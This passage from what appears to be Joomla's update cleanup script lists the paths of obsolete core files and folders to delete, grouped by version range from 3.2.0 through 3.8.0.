			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/js/anchor.js',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/js/charmap.js',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/js/color_picker.js',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/js/image.js',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/js/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/js/link.js',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/js/source_editor.js',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/langs/en.js',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/langs/en_dlg.js',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/langs/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/link.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/shortcuts.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/default/content.css',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/default/dialog.css',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/default/img/buttons.png',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/default/img/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/default/img/items.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/default/img/menu_arrow.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/default/img/menu_check.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/default/img/progress.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/default/img/tabs.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/default/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/default/ui.css',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/highcontrast/content.css',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/highcontrast/dialog.css',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/highcontrast/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/highcontrast/ui.css',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/o2k7/content.css',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/o2k7/dialog.css',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/o2k7/img/button_bg.png',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/o2k7/img/button_bg_black.png',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/o2k7/img/button_bg_silver.png',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/o2k7/img/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/o2k7/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/o2k7/ui.css',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/o2k7/ui_black.css',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/skins/o2k7/ui_silver.css',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/source_editor.htm',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/simple/editor_template.js',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/simple/img/icons.gif',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/simple/img/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/simple/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/simple/langs/en.js',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/simple/langs/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/simple/skins/default/content.css',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/simple/skins/default/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/simple/skins/default/ui.css',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/simple/skins/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/simple/skins/o2k7/content.css',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/simple/skins/o2k7/img/button_bg.png',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/simple/skins/o2k7/img/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/simple/skins/o2k7/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/themes/simple/skins/o2k7/ui.css',
			'/media/editors/tinymce/jscripts/tiny_mce/tiny_mce.js',
			'/media/editors/tinymce/jscripts/tiny_mce/tiny_mce_popup.js',
			'/media/editors/tinymce/jscripts/tiny_mce/utils/editable_selects.js',
			'/media/editors/tinymce/jscripts/tiny_mce/utils/form_utils.js',
			'/media/editors/tinymce/jscripts/tiny_mce/utils/index.html',
			'/media/editors/tinymce/jscripts/tiny_mce/utils/mctabs.js',
			'/media/editors/tinymce/jscripts/tiny_mce/utils/validate.js',
			'/media/editors/tinymce/templates/template_list.js',
			'/media/system/swf/uploader.swf',
			'/templates/protostar/html/editor_content.css',

			/*
			 * Joomla! 3.2.0 thru 3.3.0
			 */
			'/libraries/fof/platform/joomla.php',
			'/libraries/fof/readme.txt',
			'/libraries/joomla/github/gists.php',
			'/libraries/joomla/github/issues.php',
			'/libraries/joomla/github/pulls.php',
			'/libraries/joomla/github/users.php',
			'/libraries/joomla/registry/format.php',
			'/libraries/joomla/registry/format/index.html',
			'/libraries/joomla/registry/format/ini.php',
			'/libraries/joomla/registry/format/json.php',
			'/libraries/joomla/registry/format/php.php',
			'/libraries/joomla/registry/format/xml.php',
			'/libraries/joomla/registry/index.html',
			'/libraries/joomla/registry/registry.php',
			'/media/com_finder/js/finder.js',
			'/media/com_finder/js/highlighter.js',
			'/plugins/user/joomla/postinstall/actions.php',
			'/plugins/user/joomla/postinstall/index.html',

			/*
			 * Joomla! 3.3.0 thru 3.4.0
			 */
			'/administrator/components/com_tags/helpers/html/index.html',
			'/administrator/components/com_tags/models/fields/index.html',
			'/administrator/manifests/libraries/phpmailer.xml',
			'/administrator/templates/hathor/html/com_finder/filter/index.html',
			'/administrator/templates/hathor/html/com_finder/statistics/index.html',
			'/administrator/templates/isis/html/message.php',
			'/components/com_contact/helpers/icon.php',
			'/language/en-GB/en-GB.lib_phpmailer.sys.ini',
			'/libraries/compat/jsonserializable.php',
			'/libraries/compat/password/LICENSE.md',
			'/libraries/compat/password/lib/password.php',
			'/libraries/compat/password/lib/version_test.php',
			'/libraries/framework/Joomla/Application/Cli/CliOutput.php',
			'/libraries/framework/Joomla/Application/Cli/ColorProcessor.php',
			'/libraries/framework/Joomla/Application/Cli/ColorStyle.php',
			'/libraries/framework/Joomla/Application/Cli/Output/Processor/ColorProcessor.php',
			'/libraries/framework/Joomla/Application/Cli/Output/Processor/ProcessorInterface.php',
			'/libraries/framework/Joomla/Application/Cli/Output/Stdout.php',
			'/libraries/framework/Joomla/Application/Cli/Output/Xml.php',
			'/libraries/framework/Joomla/DI/Container.php',
			'/libraries/framework/Joomla/DI/ContainerAwareInterface.php',
			'/libraries/framework/Joomla/DI/Exception/DependencyResolutionException.php',
			'/libraries/framework/Joomla/DI/ServiceProviderInterface.php',
			'/libraries/framework/Joomla/Registry/AbstractRegistryFormat.php',
			'/libraries/framework/Joomla/Registry/Format/Ini.php',
			'/libraries/framework/Joomla/Registry/Format/Json.php',
			'/libraries/framework/Joomla/Registry/Format/Php.php',
			'/libraries/framework/Joomla/Registry/Format/Xml.php',
			'/libraries/framework/Joomla/Registry/Format/Yaml.php',
			'/libraries/framework/Joomla/Registry/Registry.php',
			'/libraries/framework/Symfony/Component/Yaml/Dumper.php',
			'/libraries/framework/Symfony/Component/Yaml/Escaper.php',
			'/libraries/framework/Symfony/Component/Yaml/Exception/DumpException.php',
			'/libraries/framework/Symfony/Component/Yaml/Exception/ExceptionInterface.php',
			'/libraries/framework/Symfony/Component/Yaml/Exception/ParseException.php',
			'/libraries/framework/Symfony/Component/Yaml/Exception/RuntimeException.php',
			'/libraries/framework/Symfony/Component/Yaml/Inline.php',
			'/libraries/framework/Symfony/Component/Yaml/LICENSE',
			'/libraries/framework/Symfony/Component/Yaml/Parser.php',
			'/libraries/framework/Symfony/Component/Yaml/Unescaper.php',
			'/libraries/framework/Symfony/Component/Yaml/Yaml.php',
			'/libraries/joomla/string/inflector.php',
			'/libraries/joomla/string/normalise.php',
			'/libraries/phpmailer/LICENSE',
			'/libraries/phpmailer/language/phpmailer.lang-joomla.php',
			'/libraries/phpmailer/phpmailer.php',
			'/libraries/phpmailer/pop3.php',
			'/libraries/phpmailer/smtp.php',
			'/media/editors/codemirror/css/ambiance.css',
			'/media/editors/codemirror/css/codemirror.css',
			'/media/editors/codemirror/css/configuration.css',
			'/media/editors/codemirror/js/brace-fold.js',
			'/media/editors/codemirror/js/clike.js',
			'/media/editors/codemirror/js/closebrackets.js',
			'/media/editors/codemirror/js/closetag.js',
			'/media/editors/codemirror/js/codemirror.js',
			'/media/editors/codemirror/js/css.js',
			'/media/editors/codemirror/js/foldcode.js',
			'/media/editors/codemirror/js/foldgutter.js',
			'/media/editors/codemirror/js/fullscreen.js',
			'/media/editors/codemirror/js/htmlmixed.js',
			'/media/editors/codemirror/js/indent-fold.js',
			'/media/editors/codemirror/js/javascript.js',
			'/media/editors/codemirror/js/less.js',
			'/media/editors/codemirror/js/matchbrackets.js',
			'/media/editors/codemirror/js/matchtags.js',
			'/media/editors/codemirror/js/php.js',
			'/media/editors/codemirror/js/xml-fold.js',
			'/media/editors/codemirror/js/xml.js',
			'/media/system/js/validate-jquery-uncompressed.js',
			'/templates/beez3/html/message.php',

			/*
			 * Joomla! 3.4.0 thru 3.5.0
			 */
			'/administrator/components/com_config/controller/application/refreshhelp.php',
			'/administrator/components/com_media/models/forms/index.html',
			'/administrator/templates/hathor/html/com_categories/categories/default_batch.php',
			'/administrator/templates/hathor/html/com_tags/tags/default_batch.php',
			'/components/com_wrapper/views/wrapper/metadata.xml',
			'/libraries/classloader.php',
			'/libraries/ClassLoader.php',
			'/libraries/composer_autoload.php',
			'/libraries/joomla/document/error/error.php',
			'/libraries/joomla/document/feed/feed.php',
			'/libraries/joomla/document/html/html.php',
			'/libraries/joomla/document/image/image.php',
			'/libraries/joomla/document/json/json.php',
			'/libraries/joomla/document/opensearch/opensearch.php',
			'/libraries/joomla/document/raw/raw.php',
			'/libraries/joomla/document/xml/xml.php',
			'/libraries/vendor/phpmailer/phpmailer/extras/class.html2text.php',
			'/libraries/vendor/symfony/yaml/Symfony/Component/Yaml/Dumper.php',
			'/libraries/vendor/symfony/yaml/Symfony/Component/Yaml/Escaper.php',
			'/libraries/vendor/symfony/yaml/Symfony/Component/Yaml/Exception/DumpException.php',
			'/libraries/vendor/symfony/yaml/Symfony/Component/Yaml/Exception/ExceptionInterface.php',
			'/libraries/vendor/symfony/yaml/Symfony/Component/Yaml/Exception/ParseException.php',
			'/libraries/vendor/symfony/yaml/Symfony/Component/Yaml/Exception/RuntimeException.php',
			'/libraries/vendor/symfony/yaml/Symfony/Component/Yaml/Inline.php',
			'/libraries/vendor/symfony/yaml/Symfony/Component/Yaml/LICENSE',
			'/libraries/vendor/symfony/yaml/Symfony/Component/Yaml/Parser.php',
			'/libraries/vendor/symfony/yaml/Symfony/Component/Yaml/Unescaper.php',
			'/libraries/vendor/symfony/yaml/Symfony/Component/Yaml/Yaml.php',
			'/media/com_banners/banner.js',
			'/media/com_finder/css/finder-rtl.css',
			'/media/com_finder/css/selectfilter.css',
			'/media/com_finder/css/sliderfilter.css',
			'/media/com_finder/js/sliderfilter.js',
			'/media/com_joomlaupdate/default.js',
			'/media/com_joomlaupdate/encryption.js',
			'/media/com_joomlaupdate/json2.js',
			'/media/com_joomlaupdate/update.js',
			'/media/editors/codemirror/lib/addons-uncompressed.js',
			'/media/editors/codemirror/lib/codemirror-uncompressed.css',
			'/media/editors/codemirror/lib/codemirror-uncompressed.js',
			'/media/editors/codemirror/mode/clike/scala.html',
			'/media/editors/codemirror/mode/css/less.html',
			'/media/editors/codemirror/mode/css/less_test.js',
			'/media/editors/codemirror/mode/css/scss.html',
			'/media/editors/codemirror/mode/css/scss_test.js',
			'/media/editors/codemirror/mode/css/test.js',
			'/media/editors/codemirror/mode/gfm/test.js',
			'/media/editors/codemirror/mode/haml/test.js',
			'/media/editors/codemirror/mode/javascript/json-ld.html',
			'/media/editors/codemirror/mode/javascript/test.js',
			'/media/editors/codemirror/mode/javascript/typescript.html',
			'/media/editors/codemirror/mode/kotlin/kotlin.js',
			'/media/editors/codemirror/mode/kotlin/kotlin.min.js',
			'/media/editors/codemirror/mode/markdown/test.js',
			'/media/editors/codemirror/mode/php/test.js',
			'/media/editors/codemirror/mode/ruby/test.js',
			'/media/editors/codemirror/mode/shell/test.js',
			'/media/editors/codemirror/mode/slim/test.js',
			'/media/editors/codemirror/mode/smartymixed/smartymixed.js',
			'/media/editors/codemirror/mode/stex/test.js',
			'/media/editors/codemirror/mode/textile/test.js',
			'/media/editors/codemirror/mode/verilog/test.js',
			'/media/editors/codemirror/mode/xml/test.js',
			'/media/editors/codemirror/mode/xquery/test.js',
			'/media/editors/tinymce/plugins/compat3x/editable_selects.js',
			'/media/editors/tinymce/plugins/compat3x/form_utils.js',
			'/media/editors/tinymce/plugins/compat3x/mctabs.js',
			'/media/editors/tinymce/plugins/compat3x/tiny_mce_popup.js',
			'/media/editors/tinymce/plugins/compat3x/validate.js',
			'/media/editors/tinymce/skins/lightgray/fonts/icomoon-small.eot',
			'/media/editors/tinymce/skins/lightgray/fonts/icomoon-small.svg',
			'/media/editors/tinymce/skins/lightgray/fonts/icomoon-small.ttf',
			'/media/editors/tinymce/skins/lightgray/fonts/icomoon-small.woff',
			'/media/editors/tinymce/skins/lightgray/fonts/icomoon.eot',
			'/media/editors/tinymce/skins/lightgray/fonts/icomoon.svg',
			'/media/editors/tinymce/skins/lightgray/fonts/icomoon.ttf',
			'/media/editors/tinymce/skins/lightgray/fonts/icomoon.woff',
			'/media/editors/tinymce/skins/lightgray/fonts/readme.md',
			'/media/editors/tinymce/skins/lightgray/fonts/tinymce-small.dev.svg',
			'/media/editors/tinymce/skins/lightgray/fonts/tinymce.dev.svg',
			'/media/editors/tinymce/skins/lightgray/img/wline.gif',
			'/media/mod_languages/images/km_kr.gif',
			'/plugins/editors/codemirror/styles.css',
			'/plugins/editors/codemirror/styles.min.css',

			/*
			 * Joomla! 3.5.0 thru 3.6.0
			 */
			'/administrator/components/com_installer/views/languages/tmpl/default_filter.php',
			'/administrator/components/com_joomlaupdate/helpers/download.php',
			'/administrator/manifests/libraries/simplepie.xml',
			'/administrator/templates/isis/js/bootstrap.min.js',
			'/administrator/templates/isis/js/jquery.js',
			'/libraries/joomla/application/web/client.php',
			'/libraries/simplepie/LICENSE.txt',
			'/libraries/simplepie/README.txt',
			'/libraries/simplepie/idn/LICENCE',
			'/libraries/simplepie/idn/ReadMe.txt',
			'/libraries/simplepie/idn/idna_convert.class.php',
			'/libraries/simplepie/idn/npdata.ser',
			'/libraries/simplepie/simplepie.php',
			'/media/system/js/permissions.min.js',
			'/plugins/editors/tinymce/fields/skins.php',
			'/plugins/user/profile/fields/dob.php',
			'/plugins/user/profile/fields/tos.php',

			/*
			 * Joomla! 3.6.0 thru 3.7.0
			 */
			'/administrator/components/com_banners/views/banners/tmpl/default_batch.php',
			'/administrator/components/com_cache/layouts/joomla/searchtools/default.php',
			'/administrator/components/com_cache/layouts/joomla/searchtools/default/bar.php',
			'/administrator/components/com_categories/views/categories/tmpl/default_batch.php',
			'/administrator/components/com_categories/views/category/tmpl/edit_extrafields.php',
			'/administrator/components/com_categories/views/category/tmpl/edit_options.php',
			'/administrator/components/com_content/views/articles/tmpl/default_batch.php',
			'/administrator/components/com_installer/controllers/languages.php',
			'/administrator/components/com_languages/layouts/joomla/searchtools/default.php',
			'/administrator/components/com_media/views/medialist/tmpl/thumbs_doc.php',
			'/administrator/components/com_media/views/medialist/tmpl/thumbs_folder.php',
			'/administrator/components/com_media/views/medialist/tmpl/thumbs_img.php',
			'/administrator/components/com_media/views/medialist/tmpl/thumbs_video.php',
			'/administrator/components/com_menus/views/items/tmpl/default_batch.php',
			'/administrator/components/com_messages/layouts/toolbar/mysettings.php',
			'/administrator/components/com_modules/layouts/joomla/searchtools/default.php',
			'/administrator/components/com_modules/layouts/joomla/searchtools/default/bar.php',
			'/administrator/components/com_modules/views/modules/tmpl/default_batch.php',
			'/administrator/components/com_newsfeeds/views/newsfeeds/tmpl/default_batch.php',
			'/administrator/components/com_redirect/views/links/tmpl/default_batch.php',
			'/administrator/components/com_tags/views/tags/tmpl/default_batch.php',
			'/administrator/components/com_templates/layouts/joomla/searchtools/default.php',
			'/administrator/components/com_templates/layouts/joomla/searchtools/default/bar.php',
			'/administrator/components/com_users/models/fields/components.php',
			'/administrator/components/com_users/views/users/tmpl/default_batch.php',
			'/administrator/modules/mod_menu/tmpl/default_disabled.php',
			'/administrator/modules/mod_menu/tmpl/default_enabled.php',
			'/administrator/templates/hathor/html/mod_menu/default_enabled.php',
			'/components/com_contact/metadata.xml',
			'/components/com_contact/views/category/metadata.xml',
			'/components/com_contact/views/contact/metadata.xml',
			'/components/com_contact/views/featured/metadata.xml',
			'/components/com_content/metadata.xml',
			'/components/com_content/views/archive/metadata.xml',
			'/components/com_content/views/article/metadata.xml',
			'/components/com_content/views/categories/metadata.xml',
			'/components/com_content/views/category/metadata.xml',
			'/components/com_content/views/featured/metadata.xml',
			'/components/com_content/views/form/metadata.xml',
			'/components/com_finder/views/search/metadata.xml',
			'/components/com_mailto/views/mailto/metadata.xml',
			'/components/com_mailto/views/sent/metadata.xml',
			'/components/com_newsfeeds/metadata.xml',
			'/components/com_newsfeeds/views/category/metadata.xml',
			'/components/com_newsfeeds/views/newsfeed/metadata.xml',
			'/components/com_search/views/search/metadata.xml',
			'/components/com_tags/metadata.xml',
			'/components/com_tags/views/tag/metadata.xml',
			'/components/com_users/metadata.xml',
			'/components/com_users/views/login/metadata.xml',
			'/components/com_users/views/profile/metadata.xml',
			'/components/com_users/views/registration/metadata.xml',
			'/components/com_users/views/remind/metadata.xml',
			'/components/com_users/views/reset/metadata.xml',
			'/components/com_wrapper/metadata.xml',
			'/libraries/joomla/data/data.php',
			'/libraries/joomla/data/dumpable.php',
			'/libraries/joomla/data/set.php',
			'/libraries/joomla/database/iterator/azure.php',
			'/libraries/joomla/user/authentication.php',
			'/libraries/platform.php',
			'/media/editors/codemirror/mode/jade/jade.js',
			'/media/editors/codemirror/mode/jade/jade.min.js',
			'/media/editors/none/none.js',
			'/media/editors/none/none.min.js',
			'/media/editors/tinymce/plugins/jdragdrop/plugin.js',
			'/media/editors/tinymce/plugins/jdragdrop/plugin.min.js',
			'/media/editors/tinymce/plugins/media/moxieplayer.swf',
			'/media/system/js/tiny-close.js',
			'/media/system/js/tiny-close.min.js',

			/*
			 * Joomla! 3.7.0 thru 3.8.0
			 */
			'/administrator/components/com_admin/postinstall/phpversion.php',
			'/administrator/components/com_content/models/fields/votelist.php',
			'/administrator/modules/mod_menu/preset/disabled.php',
			'/administrator/modules/mod_menu/preset/enabled.php',
			'/components/com_content/layouts/field/prepare/modal_article.php',
			'/components/com_fields/controllers/field.php',
			'/libraries/cms/application/administrator.php',
			'/libraries/cms/application/cms.php',
			'/libraries/cms/application/helper.php',
			'/libraries/cms/application/site.php',
			'/libraries/cms/authentication/helper.php',
			'/libraries/cms/captcha/captcha.php',
			'/libraries/cms/component/exception/missing.php',
			'/libraries/cms/component/helper.php',
			'/libraries/cms/component/record.php',
			'/libraries/cms/component/router/base.php',
			'/libraries/cms/component/router/interface.php',
			'/libraries/cms/component/router/legacy.php',
			'/libraries/cms/component/router/rules/interface.php',
			'/libraries/cms/component/router/rules/menu.php',
			'/libraries/cms/component/router/rules/nomenu.php',
			'/libraries/cms/component/router/rules/standard.php',
			'/libraries/cms/component/router/view.php',
			'/libraries/cms/component/router/viewconfiguration.php',
			'/libraries/cms/editor/editor.php',
			'/libraries/cms/error/page.php',
			'/libraries/cms/form/field/author.php',
			'/libraries/cms/form/field/captcha.php',
			'/libraries/cms/form/field/chromestyle.php',
			'/libraries/cms/form/field/contenthistory.php',
			'/libraries/cms/form/field/contentlanguage.php',
			'/libraries/cms/form/field/contenttype.php',
			'/libraries/cms/form/field/editor.php',
			'/libraries/cms/form/field/frontend_language.php',
			'/libraries/cms/form/field/headertag.php',
			'/libraries/cms/form/field/helpsite.php',
			'/libraries/cms/form/field/lastvisitdaterange.php',
			'/libraries/cms/form/field/limitbox.php',
			'/libraries/cms/form/field/media.php',
			'/libraries/cms/form/field/menu.php',
			'/libraries/cms/form/field/menuitem.php',
			'/libraries/cms/form/field/moduleorder.php',
			'/libraries/cms/form/field/moduleposition.php',
			'/libraries/cms/form/field/moduletag.php',
			'/libraries/cms/form/field/ordering.php',
			'/libraries/cms/form/field/plugin_status.php',
			'/libraries/cms/form/field/registrationdaterange.php',
			'/libraries/cms/form/field/status.php',
			'/libraries/cms/form/field/tag.php',
			'/libraries/cms/form/field/templatestyle.php',
			'/libraries/cms/form/field/user.php',
			'/libraries/cms/form/field/useractive.php',
			'/libraries/cms/form/field/usergrouplist.php',
			'/libraries/cms/form/field/userstate.php',
			'/libraries/cms/form/rule/captcha.php',
			'/libraries/cms/form/rule/notequals.php',
			'/libraries/cms/form/rule/password.php',
			'/libraries/cms/help/help.php',
			'/libraries/cms/helper/content.php',
			'/libraries/cms/helper/contenthistory.php',
			'/libraries/cms/helper/helper.php',
			'/libraries/cms/helper/media.php',
			'/libraries/cms/helper/route.php',
			'/libraries/cms/helper/tags.php',
			'/libraries/cms/helper/usergroups.php',
			'/libraries/cms/html/html.php',
			'/libraries/cms/installer/adapter.php',
			'/libraries/cms/installer/adapter/component.php',
			'/libraries/cms/installer/adapter/file.php',
			'/libraries/cms/installer/adapter/language.php',
			'/libraries/cms/installer/adapter/library.php',
			'/libraries/cms/installer/adapter/module.php',
			'/libraries/cms/installer/adapter/package.php',
			'/libraries/cms/installer/adapter/plugin.php',
			'/libraries/cms/installer/adapter/template.php',
			'/libraries/cms/installer/extension.php',
			'/libraries/cms/installer/helper.php',
			'/libraries/cms/installer/installer.php',
			'/libraries/cms/installer/manifest.php',
			'/libraries/cms/installer/manifest/library.php',
			'/libraries/cms/installer/manifest/package.php',
			'/libraries/cms/installer/script.php',
			'/libraries/cms/language/associations.php',
			'/libraries/cms/language/multilang.php',
			'/libraries/cms/layout/base.php',
			'/libraries/cms/layout/file.php',
			'/libraries/cms/layout/helper.php',
			'/libraries/cms/layout/layout.php',
			'/libraries/cms/library/helper.php',
			'/libraries/cms/menu/administrator.php',
			'/libraries/cms/menu/item.php',
			'/libraries/cms/menu/menu.php',
			'/libraries/cms/menu/site.php',
			'/libraries/cms/module/helper.php',
			'/libraries/cms/pagination/object.php',
			'/libraries/cms/pagination/pagination.php',
			'/libraries/cms/pathway/pathway.php',
			'/libraries/cms/pathway/site.php',
			'/libraries/cms/plugin/helper.php',
			'/libraries/cms/plugin/plugin.php',
			'/libraries/cms/response/json.php',
			'/libraries/cms/router/administrator.php',
			'/libraries/cms/router/router.php',
			'/libraries/cms/router/site.php',
			'/libraries/cms/schema/changeitem.php',
			'/libraries/cms/schema/changeitem/mysql.php',
			'/libraries/cms/schema/changeitem/postgresql.php',
			'/libraries/cms/schema/changeitem/sqlsrv.php',
			'/libraries/cms/schema/changeset.php',
			'/libraries/cms/search/helper.php',
			'/libraries/cms/table/contenthistory.php',
			'/libraries/cms/table/contenttype.php',
			'/libraries/cms/table/corecontent.php',
			'/libraries/cms/table/ucm.php',
			'/libraries/cms/toolbar/button.php',
			'/libraries/cms/toolbar/button/confirm.php',
			'/libraries/cms/toolbar/button/custom.php',
			'/libraries/cms/toolbar/button/help.php',
			'/libraries/cms/toolbar/button/link.php',
			'/libraries/cms/toolbar/button/popup.php',
			'/libraries/cms/toolbar/button/separator.php',
			'/libraries/cms/toolbar/button/slider.php',
			'/libraries/cms/toolbar/button/standard.php',
			'/libraries/cms/toolbar/toolbar.php',
			'/libraries/cms/ucm/base.php',
			'/libraries/cms/ucm/content.php',
			'/libraries/cms/ucm/type.php',
			'/libraries/cms/ucm/ucm.php',
			'/libraries/cms/version/version.php',
			'/libraries/joomla/access/access.php',
			'/libraries/joomla/access/exception/notallowed.php',
			'/libraries/joomla/access/rule.php',
			'/libraries/joomla/access/rules.php',
			'/libraries/joomla/access/wrapper/access.php',
			'/libraries/joomla/application/base.php',
			'/libraries/joomla/application/cli.php',
			'/libraries/joomla/application/daemon.php',
			'/libraries/joomla/application/route.php',
			'/libraries/joomla/application/web.php',
			'/libraries/joomla/association/extension/helper.php',
			'/libraries/joomla/association/extension/interface.php',
			'/libraries/joomla/authentication/authentication.php',
			'/libraries/joomla/authentication/response.php',
			'/libraries/joomla/cache/cache.php',
			'/libraries/joomla/cache/controller.php',
			'/libraries/joomla/cache/controller/callback.php',
			'/libraries/joomla/cache/controller/output.php',
			'/libraries/joomla/cache/controller/page.php',
			'/libraries/joomla/cache/controller/view.php',
			'/libraries/joomla/cache/exception.php',
			'/libraries/joomla/cache/exception/connecting.php',
			'/libraries/joomla/cache/exception/unsupported.php',
			'/libraries/joomla/cache/storage.php',
			'/libraries/joomla/cache/storage/apc.php',
			'/libraries/joomla/cache/storage/apcu.php',
			'/libraries/joomla/cache/storage/cachelite.php',
			'/libraries/joomla/cache/storage/file.php',
			'/libraries/joomla/cache/storage/helper.php',
			'/libraries/joomla/cache/storage/memcache.php',
			'/libraries/joomla/cache/storage/memcached.php',
			'/libraries/joomla/cache/storage/redis.php',
			'/libraries/joomla/cache/storage/wincache.php',
			'/libraries/joomla/cache/storage/xcache.php',
			'/libraries/joomla/client/ftp.php',
			'/libraries/joomla/client/helper.php',
			'/libraries/joomla/client/ldap.php',
			'/libraries/joomla/client/wrapper/helper.php',
			'/libraries/joomla/crypt/README.md',
			'/libraries/joomla/crypt/cipher.php',
			'/libraries/joomla/crypt/cipher/3des.php',
			'/libraries/joomla/crypt/cipher/blowfish.php',
			'/libraries/joomla/crypt/cipher/crypto.php',
			'/libraries/joomla/crypt/cipher/mcrypt.php',
			'/libraries/joomla/crypt/cipher/rijndael256.php',
			'/libraries/joomla/crypt/cipher/simple.php',
			'/libraries/joomla/crypt/crypt.php',
			'/libraries/joomla/crypt/key.php',
			'/libraries/joomla/crypt/password.php',
			'/libraries/joomla/crypt/password/simple.php',
			'/libraries/joomla/date/date.php',
			'/libraries/joomla/document/document.php',
			'/libraries/joomla/document/error.php',
			'/libraries/joomla/document/feed.php',
			'/libraries/joomla/document/feed/renderer/atom.php',
			'/libraries/joomla/document/feed/renderer/rss.php',
			'/libraries/joomla/document/html.php',
			'/libraries/joomla/document/html/renderer/component.php',
			'/libraries/joomla/document/html/renderer/head.php',
			'/libraries/joomla/document/html/renderer/message.php',
			'/libraries/joomla/document/html/renderer/module.php',
			'/libraries/joomla/document/html/renderer/modules.php',
			'/libraries/joomla/document/image.php',
			'/libraries/joomla/document/json.php',
			'/libraries/joomla/document/opensearch.php',
			'/libraries/joomla/document/raw.php',
			'/libraries/joomla/document/renderer.php',
			'/libraries/joomla/document/renderer/feed/atom.php',
			'/libraries/joomla/document/renderer/feed/rss.php',
			'/libraries/joomla/document/renderer/html/component.php',
			'/libraries/joomla/document/renderer/html/head.php',
			'/libraries/joomla/document/renderer/html/message.php',
			'/libraries/joomla/document/renderer/html/module.php',
			'/libraries/joomla/document/renderer/html/modules.php',
			'/libraries/joomla/document/xml.php',
			'/libraries/joomla/environment/browser.php',
			'/libraries/joomla/factory.php',
			'/libraries/joomla/feed/entry.php',
			'/libraries/joomla/feed/factory.php',
			'/libraries/joomla/feed/feed.php',
			'/libraries/joomla/feed/link.php',
			'/libraries/joomla/feed/parser.php',
			'/libraries/joomla/feed/parser/atom.php',
			'/libraries/joomla/feed/parser/namespace.php',
			'/libraries/joomla/feed/parser/rss.php',
			'/libraries/joomla/feed/parser/rss/itunes.php',
			'/libraries/joomla/feed/parser/rss/media.php',
			'/libraries/joomla/feed/person.php',
			'/libraries/joomla/filter/input.php',
			'/libraries/joomla/filter/output.php',
			'/libraries/joomla/filter/wrapper/output.php',
			'/libraries/joomla/form/field.php',
			'/libraries/joomla/form/form.php',
			'/libraries/joomla/form/helper.php',
			'/libraries/joomla/form/rule.php',
			'/libraries/joomla/form/rule/boolean.php',
			'/libraries/joomla/form/rule/calendar.php',
			'/libraries/joomla/form/rule/color.php',
			'/libraries/joomla/form/rule/email.php',
			'/libraries/joomla/form/rule/equals.php',
			'/libraries/joomla/form/rule/number.php',
			'/libraries/joomla/form/rule/options.php',
			'/libraries/joomla/form/rule/rules.php',
			'/libraries/joomla/form/rule/tel.php',
			'/libraries/joomla/form/rule/url.php',
			'/libraries/joomla/form/rule/username.php',
			'/libraries/joomla/form/wrapper/helper.php',
			'/libraries/joomla/http/factory.php',
			'/libraries/joomla/http/http.php',
			'/libraries/joomla/http/response.php',
			'/libraries/joomla/http/transport.php',
			'/libraries/joomla/http/transport/cacert.pem',
			'/libraries/joomla/http/transport/curl.php',
			'/libraries/joomla/http/transport/socket.php',
			'/libraries/joomla/http/transport/stream.php',
			'/libraries/joomla/http/wrapper/factory.php',
			'/libraries/joomla/image/filter.php',
			'/libraries/joomla/image/filter/backgroundfill.php',
